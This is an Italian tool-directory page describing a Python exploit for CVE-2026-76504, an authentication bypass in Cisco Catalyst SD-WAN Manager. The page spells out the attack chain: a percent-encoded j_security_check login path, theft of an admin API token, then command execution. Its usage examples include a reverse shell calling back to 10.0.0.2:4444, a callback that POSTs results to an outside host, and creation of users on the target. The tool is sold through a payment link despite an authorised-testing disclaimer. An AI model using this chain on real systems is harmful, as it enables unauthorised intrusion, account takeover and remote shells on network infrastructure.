Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-76504-Cisco — Exploit in Python per CVE-2026-76504, un bypass dell'autenticazione di Cisco Catalyst SD-WAN Manager tramite j_security_check con codifica percentuale, con furto di token, chiamate API e reverse shell. | Kitploit
Strumenti/GitHubGitHub/maxprog-svg/cve-2026-76504-cisco
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitSicurezza di RetePenetration TestingAutenticazioneStrumento di Accesso Remoto
GitHubmaxprog-svg/cve-2026-76504-cisco

CVE-2026-76504-Cisco

Exploit in Python per CVE-2026-76504, un bypass dell'autenticazione di Cisco Catalyst SD-WAN Manager tramite j_security_check con codifica percentuale, con furto di token, chiamate API e reverse shell.

Vedi Repository
13 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-76504 — Exploit di bypass dell'autenticazione in Cisco Catalyst SD-WAN Manager

Panoramica

CVE-2026-76504 è un bypass critico dell'autenticazione (CVSS 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-177) in Cisco Catalyst SD-WAN Manager (vManage). È elencato nel catalogo CISA KEV ed è stato attivamente sfruttato in the wild da settembre 2026. Non esiste alcuna soluzione alternativa; solo l'applicazione della patch elimina la vulnerabilità.

La causa principale è un'incoerenza nella normalizzazione degli URI tra il middleware di autenticazione e il router delle richieste. La codifica percentuale di un singolo carattere del percorso di login protetto j_security_check fa sì che la regola di autenticazione veda un URI diverso (pulito) mentre il router risolve lo stesso URI (di login) — così il server emette una sessione admin valida senza alcuna credenziale valida.

Advisory: cisco-sa-sdwan-webauth-xr8beuuU


Versioni interessate

BranchCorretto in
20.9.x20.9.10.1
20.12.x20.12.8.2
20.15.x20.15.6.1
20.18.x20.18.4.1
26.1.x26.1.2.1
26.226.2.1

Catena di exploit

step1  POST /%6a_security_check        (%6a = percent-encoded 'j')
       -> the auth rule is skipped, the request is mapped to a
          'viptela-reserved-*' service account and a valid JSESSIONID
          is returned.

step2  GET  /dataservice/client/token  (with the JSESSIONID cookie)
       -> 128-char uppercase hex admin API token.

step3  authenticated admin API calls / command execution / reverse shell.
       Follow-up requests send the session cookie plus the token in the
       X-XSRF-TOKEN header (documented vManage API convention).

Requisiti

  • Python 3.8+ — solo libreria standard, nessuna installazione tramite pip.
  • Raggiungibilità di rete verso l'API di gestione di destinazione (TCP 443/8443).

Avvio rapido

# Verify the target is vulnerable
python3 exploit.py -t https://10.0.0.1 --check

# Full chain, human-readable output
python3 exploit.py -t https://10.0.0.1 --recon

# Machine-readable JSON report
python3 exploit.py -t https://10.0.0.1 --json

# Authenticated follow-up API call (repeatable)
python3 exploit.py -t https://10.0.0.1 \
  --api 'GET /dataservice/user/user'

# Execute a management command (repeatable)
python3 exploit.py -t https://10.0.0.1 \
  --cmd 'show version'

# Reverse shell with a local interactive listener
python3 exploit.py -t https://10.0.0.1 \
  --revshell --rs-host 10.0.0.2 --rs-port 4444 --listen

# Offline self-test against the built-in mock vManage
python3 exploit.py --selftest

Opzioni

OpzioneDescrizione
-t, --targethost o scheme://host[:port] (porta predefinita 443)
--portsovrascrive la porta
--httpforza HTTP semplice
--insecuresalta la verifica del certificato TLS
--proxyproxy forward http://host:port
--timeouttimeout per richiesta in secondi (predefinito 10)
-u, --uservalore del campo form j_username (predefinito admin; l'autenticazione viene aggirata)
-p, --passvalore del campo form j_password (predefinito admin; l'autenticazione viene aggirata)
--enc-charcarattere di j_security_check da codificare in percentuale (predefinito j)
--enc-stylecodifica lower (predefinita), upper o double
--token-urlendpoint del token admin (predefinito /dataservice/client/token)
--skip-tokenfermati dopo lo step1 (solo sessione)
--checksolo verifica: step1, report, uscita
--api SPECchiamata autenticata: `'METHOD PATH [json
--cmd CMDcomando di gestione sotto la sessione rubata (ripetibile)
--cmd-urlendpoint dei comandi (predefinito /dataservice/command)
--cmd-fieldchiave del payload JSON che trasporta il comando (predefinita command)
--revshellcostruisce ed emette un comando reverse-shell
--rs-implbash (predefinito), nc, python3, perl
--rs-host/--rs-porthost/porta di callback della reverse-shell
--listenavvia un listener locale e inoltra la shell in modo interattivo
--reconsonda gli endpoint candidati con la sessione rubata
--callback URLinvia il report JSON a un URL tramite POST
--dump DIRsalva gli artefatti delle risposte in una directory
--repeat Nripete la catena N volte
--reqidinvia X-Request-Id: <uuid4> (fedeltà IOC)
--uaUser-Agent (predefinito Mozilla/5.0)
-v, --verbosemostra le richieste/risposte grezze
--jsonsolo report leggibile da macchina
--selftestself-test offline tramite il mock integrato

Codici di uscita

CodiceSignificato
0bypass confermato
1errore / errore di verifica
2target irraggiungibile

Esempi

# Verify only (lowercase encoding)
python3 exploit.py -t 10.0.0.1 --port 8443 --check

# Uppercase / double encoding variants
python3 exploit.py -t https://10.0.0.1 --enc-style upper --check
python3 exploit.py -t https://10.0.0.1 --enc-style double --check

# Encode a different character of the path
python3 exploit.py -t https://10.0.0.1 --enc-char s --check

# Enumerate users via the stolen session
python3 exploit.py -t https://10.0.0.1 \
  --api 'GET /dataservice/user/user'

# POST JSON payload
python3 exploit.py -t https://10.0.0.1 \
  --api 'POST /dataservice/user {"userName":"x","password":"y"}'

# POST a payload from a file
python3 exploit.py -t https://10.0.0.1 \
  --api 'POST /dataservice/setting @payload.json'

# Save artifacts and POST the report to a callback
python3 exploit.py -t https://10.0.0.1 \
  --dump ./out --callback http://10.0.0.2:8000/report --json

# Through a forward proxy, ignoring TLS validation
python3 exploit.py -t https://10.0.0.1 \
  --proxy http://127.0.0.1:8080 --insecure --check

Note

  • Le credenziali predefinite (admin/admin) vengono utilizzate solo come valori dei campi del modulo; la regola di autenticazione stessa viene aggirata tramite il percorso codificato, quindi i valori delle credenziali non devono essere corretti su un target vulnerabile.

  • --check esegue solo lo step1 e segnala se è stato emesso un cookie di sessione. Non effettua ulteriori chiamate autenticate.

  • Lo strumento è un singolo file senza dipendenze, destinato esclusivamente a test di sicurezza e ricerca autorizzati. Utilizzalo solo contro sistemi che sei autorizzato a testare.

    https://satoshidisk.com/pay/CSgu4Q

Scarica lo strumento